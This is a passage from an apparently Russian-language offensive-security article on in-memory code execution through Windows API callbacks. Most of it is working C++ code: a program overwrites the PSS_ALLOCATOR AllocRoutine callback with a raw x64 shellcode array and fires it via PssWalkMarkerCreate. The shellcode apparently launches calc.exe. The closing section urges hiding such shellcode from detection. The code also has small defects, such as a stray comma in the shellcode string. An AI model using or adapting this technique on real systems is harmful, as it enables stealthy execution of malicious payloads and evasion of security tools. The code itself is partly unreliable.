dlg.bWildCardInstances = TRUE;
dlg.bHideDetailBox = TRUE;
dlg.bInitializePath = FALSE;
dlg.dwDefaultDetailLevel = PERF_DETAIL_WIZARD;
dlg.szReturnPathBuffer = new wchar_t[PDH_MAX_COUNTER_PATH + 1];
dlg.cchReturnPathLength = PDH_MAX_COUNTER_PATH;
HANDLE hThread = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
if (PdhBrowseCounters(&dlg) == ERROR_SUCCESS)
{
printf("Chosen counter: %s\n", dlg.szReturnPathBuffer);
}
else
{
printf("No counter chosen\n");
}
delete[] dlg.szReturnPathBuffer;
}
int main()
{
ShowCounterBrowser();
return 0;
} Или пусть это будет функция PssCaptureSnapshot (), которая позволяет создавать различные снапшоты процесса. После чего для получения информации о снапшоте можно пробежать по нему с помощью PssWalkMarkerCreate (), которому требуется первым параметром передать структуру PSS_ALLOCATOR, внутри которой и указываются коллбэки. Сами эти коллбэки нужны для кастомной реализации функций по выделению и освобождению памяти при работе системы со снепшотом, но ничего нам не помешает указать там наш шеллкод:
#include
#include
#include
// Function To Rewrite
VOID* CALLBACK AllocRoutine(void* Context, DWORD Size)
{
MessageBox(NULL, L"AllocRoutine function is called!", L"Information", MB_ICONINFORMATION);
return (HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size));
}
int main()
{
DWORD ProcessId = GetCurrentProcessId();
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if (hProcess == NULL)
{
std::cerr << "Could not open the process." << std::endl;
return 1;
}
HPSS SnapshotHandle = NULL;
PSS_CAPTURE_FLAGS CaptureFlags = PSS_CAPTURE_NONE;
DWORD SnapshotFlags = 0;
DWORD Result = PssCaptureSnapshot(hProcess, CaptureFlags, SnapshotFlags, &SnapshotHandle);
if (Result != ERROR_SUCCESS)
{
std::cerr << "Could not create the process snapshot. Error: " << Result << std::endl;
return 1;
}
PSS_ALLOCATOR Allocator;
Allocator.AllocRoutine = AllocRoutine;
Allocator.FreeRoutine = NULL;
unsigned char shellcode[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6,\x00";
DWORD old;
VirtualProtect(AllocRoutine, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &old);
memcpy(AllocRoutine, shellcode, sizeof(shellcode));
HPSSWALK WalkMarkerHandle;
Result = PssWalkMarkerCreate(&Allocator, &WalkMarkerHandle);
if (Result != ERROR_SUCCESS)
{
std::cerr << "Could not create the walk marker. Error: " << Result << std::endl;
return 1;
}
PssFreeSnapshot(GetCurrentProcess(), SnapshotHandle);
CloseHandle(hProcess);
return 0;
}
Как видим, полёт фантазии может быть любым, он не ограничен никем и ничем. Самое главное — не бояться экспериментировать и творить.
Заключение
Подытоживая, можно сделать вывод, что методы исполнения в памяти обычно сводятся либо к использованию особенностей языка программирования, функционал которого позволяет осуществлять операции без взаимодействия с диском, либо же к генерации шеллкода из исполняемой программы. С другой стороны, наличие шеллкода в явном виде — плохая практика, поэтому нужно маскировать его всеми доступными способами, но об этом поговорим в следующий раз.
